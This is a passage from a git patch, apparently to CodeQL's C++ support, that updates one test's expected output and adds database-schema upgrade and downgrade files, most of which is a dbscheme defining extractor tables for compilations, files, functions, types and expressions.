a/cpp/ql/test/library-tests/name_qualifiers/NameQualifiers1.expected b/cpp/ql/test/library-tests/name_qualifiers/NameQualifiers1.expected index d9419b833a1..b5f2fe8dd74 100644 --- a/cpp/ql/test/library-tests/name_qualifiers/NameQualifiers1.expected +++ b/cpp/ql/test/library-tests/name_qualifiers/NameQualifiers1.expected @@ -1,5 +1,5 @@ | inconsistency2.cpp:3:3:3:5 | T:: | inconsistency2.cpp:3:3:3:6 | x | inconsistency2.cpp:2:20:2:20 | T | -| inconsistency2.cpp:3:3:3:11 | (no string representation) | inconsistency2.cpp:3:3:3:6 | x | file://:0:0:0:0 | const s | +| inconsistency2.cpp:3:3:3:11 | const s:: | inconsistency2.cpp:3:3:3:6 | x | file://:0:0:0:0 | const s | | inconsistency.cpp:7:20:7:22 | S:: | inconsistency.cpp:7:20:7:23 | (int)... | inconsistency.cpp:4:8:4:8 | S | | inconsistency.cpp:7:20:7:22 | S:: | inconsistency.cpp:7:20:7:23 | A | inconsistency.cpp:4:8:4:8 | S | | name_qualifiers.cpp:29:7:29:8 | :: | name_qualifiers.cpp:29:7:29:9 | x | file://:0:0:0:0 | (global namespace) | From ef00aa2567f55a90c3aaf041be4c85d7ee4ae388 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Wed, 10 Jun 2026 14:38:15 +0200 Subject: [PATCH 056/143] C++: Add upgrade and downgrade scripts --- .../old.dbscheme | 2578 +++++++++++++++++ .../semmlecode.cpp.dbscheme | 2577 ++++++++++++++++ .../upgrade.properties | 2 + .../old.dbscheme | 2577 ++++++++++++++++ .../semmlecode.cpp.dbscheme | 2578 +++++++++++++++++ .../upgrade.properties | 2 + 6 files changed, 10314 insertions(+) create mode 100644 cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/old.dbscheme create mode 100644 cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/semmlecode.cpp.dbscheme create mode 100644 cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/upgrade.properties create mode 100644 cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/old.dbscheme create mode 100644 cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/semmlecode.cpp.dbscheme create mode 100644 cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/upgrade.properties diff --git a/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/old.dbscheme b/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/old.dbscheme new file mode 100644 index 00000000000..0853f43dc8c --- /dev/null +++ b/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/old.dbscheme @@ -0,0 +1,2578 @@ + +/*- Compilations -*/ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The expanded arguments that were passed to the extractor for a + * compiler invocation. This is similar to `compilation_args`, but + * for a `@someFile` argument, it includes the arguments from that + * file, rather than just taking the argument literally. + */ +#keyset[id, num] +compilation_expanded_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/*- External data -*/ + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Lines of code -*/ + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- C++ dbscheme -*/ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +/** + * Gives the TRAP filename that `trap` is associated with. + * For debugging only. + */ +trap_filename( + int trap: @trap, + string filename: string ref +); + +/** + * Gives the tag name for `tag`. + * For debugging only. + */ +tag_name( + int tag: @tag, + string name: string ref +); + +@trap_or_tag = @tag | @trap; + +/** + * Gives the name for the source file. + */ +source_file_name( + int sf: @source_file, + string name: string ref +); + +/** + * In `build-mode: none` overlay mode, indicates that `source_file` + * (`/path/to/foo.c`) uses the TRAP file `trap_file`; i.e. it is the + * TRAP file corresponding to `foo.c`, something it transitively + * includes, or a template instantiation it transitively uses. + */ +source_file_uses_trap( + int source_file: @source_file ref, + int trap_file: @trap ref +); + +/** + * In `build-mode: none` overlay mode, indicates that the TRAP file + * `trap_file` uses tag `tag`. + */ +trap_uses_tag( + int trap_file: @trap ref, + int tag: @tag ref +); + +/** + * Holds if there is a definition of `element` in TRAP file or tag `t`. + */ +in_trap_or_tag( + int element: @element ref, + int t: @trap_or_tag ref +); + +pch_uses( + int pch: @pch ref, + int compilation: @compilation ref, + int id: @file ref +) + +#keyset[pch, compilation] +pch_creations( + int pch: @pch, + int compilation: @compilation ref, + int from: @file ref +) + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location_default ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +case @function.kind of + 0 = @unknown_function +| 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +// ... 6 = @builtin_function deprecated // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +builtin_functions( + int id: @function ref +) + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +// ... 40 _Decimal32 +// ... 41 _Decimal64 +// ... 42 _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +| 63 = @scalable_vector_count // __SVCount_t +| 64 = @complex_fp16 // _Complex __fp16 +| 65 = @complex_std_bfloat16 // _Complex __bf16 +| 66 = @complex_std_float16 // _Complex std::float16_t +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +| 11 = @scalable_vector // Arm SVE +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +tupleelements( + unique int id: @derivedtype ref, + int num_elements: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +case @type_operator.kind of + 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +case @usertype.kind of + 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); +class_template_generated_from( + unique int template: @usertype ref, + int from: @usertype ref +) + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location_default ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); +function_template_generated_from( + unique int template: @function ref, + int from: @function ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); +variable_template_generated_from( + unique int template: @variable ref, + int from: @variable ref +); + +is_alias_template(unique int id: @usertype ref); +alias_instantiation( + unique int to: @usertype ref, + int from: @usertype ref +); +alias_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +alias_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); +alias_template_generated_from( + unique int template: @usertype ref, + int from: @usertype ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +namespaceattributes( + int namespace_id: @namespace ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype + | @decltype + | @derivedtype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr 